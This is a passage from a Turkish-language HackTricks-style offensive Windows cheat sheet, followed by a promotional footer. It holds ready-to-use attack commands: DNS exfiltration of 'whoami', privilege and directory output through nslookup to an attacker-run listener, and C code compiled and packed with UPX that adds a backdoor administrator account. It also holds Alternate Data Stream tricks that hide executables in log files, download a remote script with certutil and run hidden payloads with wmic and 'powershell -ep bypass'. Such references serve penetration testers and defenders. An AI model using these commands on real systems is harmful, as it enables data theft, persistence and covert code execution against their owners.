**Saldırgan** (Kali), aşağıdaki 2 seçenekten birini kullanmalıdır: ```bash sudo responder -I #Active sudo tcpdump -i -A proto udp and dst port 53 and dst ip #Passive ``` #### Hedef **`for /f tokens`** tekniği: Bu bize komutları yürütmeyi, her satırın ilk X kelimesini almayı ve bunu DNS üzerinden sunucumuza göndermeyi sağlar. ```bash for /f %a in ('whoami') do nslookup %a #Get whoami for /f "tokens=2" %a in ('echo word1 word2') do nslookup %a #Get word2 for /f "tokens=1,2,3" %a in ('dir /B C:\') do nslookup %a.%b.%c #List folder for /f "tokens=1,2,3" %a in ('dir /B "C:\Program Files (x86)"') do nslookup %a.%b.%c #List that folder for /f "tokens=1,2,3" %a in ('dir /B "C:\Progra~2"') do nslookup %a.%b.%c #Same as last one #More complex commands for /f "tokens=1,2,3,4,5,6,7,8,9" %a in ('whoami /priv ^| findstr /i "enable"') do nslookup %a.%b.%c.%d.%e.%f.%g.%h.%i #Same as last one ``` Ayrıca çıktıyı **yönlendirebilir** ve ardından **okuyabilirsiniz**. ``` whoami /priv | finstr "Enab" > C:\Users\Public\Documents\out.txt for /f "tokens=1,2,3,4,5,6,7,8,9" %a in ('type "C:\Users\Public\Documents\out.txt"') do nslookup %a.%b.%c.%d.%e.%f.%g.%h.%i ``` ## C kodundan CMD'yi çağırmak CMD'yi C kodundan çağırmak için `system()` fonksiyonunu kullanabilirsiniz. Bu fonksiyon, bir komutu çalıştırmak için işletim sistemi kabuğunu çağırır. ```c #include int main() { system("komut"); return 0; } ``` Yukarıdaki örnekte, `"komut"` yerine çalıştırmak istediğiniz CMD komutunu belirtmelisiniz. Bu şekilde, C kodunuz CMD'yi çağırarak belirtilen komutu çalıştıracaktır. ```c #include /* system, NULL, EXIT_FAILURE */ // When executed by Administrator this program will create a user and then add him to the administrators group // i686-w64-mingw32-gcc addmin.c -o addmin.exe // upx -9 addmin.exe int main (){ int i; i=system("net users otherAcc 0TherAcc! /add"); i=system("net localgroup administrators otherAcc /add"); return 0; } ``` ## Alternatif Veri Akışları Hile Sayfası (ADS/Alternatif Veri Akışı) **Örnekler** [**https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f**](https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f) **adresinden alınmıştır. Orada daha fazla örnek bulunmaktadır!** ```bash ## Selected Examples of ADS Operations ## ### Adding Content to ADS ### # Append executable to a log file as an ADS type C:\temp\evil.exe > "C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:evil.exe" # Download a script directly into an ADS certutil.exe -urlcache -split -f https://raw.githubusercontent.com/Moriarty2016/git/master/test.ps1 c:\temp:ttt ### Discovering ADS Content ### # List files and their ADS dir /R # Use Sysinternals tool to list ADS of a file streams.exe ### Extracting Content from ADS ### # Extract an executable stored in an ADS expand c:\ads\file.txt:test.exe c:\temp\evil.exe ### Executing ADS Content ### # Execute an executable stored in an ADS using WMIC wmic process call create '"C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:evil.exe"' # Execute a script stored in an ADS using PowerShell powershell -ep bypass - < c:\temp:ttt ```
AWS hackleme becerilerini sıfırdan kahraman seviyesine öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)! * Bir **cybersecurity şirketinde mi çalışıyorsunuz**? **Şirketinizi HackTricks'te reklamını görmek** ister misiniz? veya **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! * [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonunu keşfedin. * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin. * [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter**'da beni takip edin 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Hacking hilelerinizi** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **ile göndererek paylaşın.**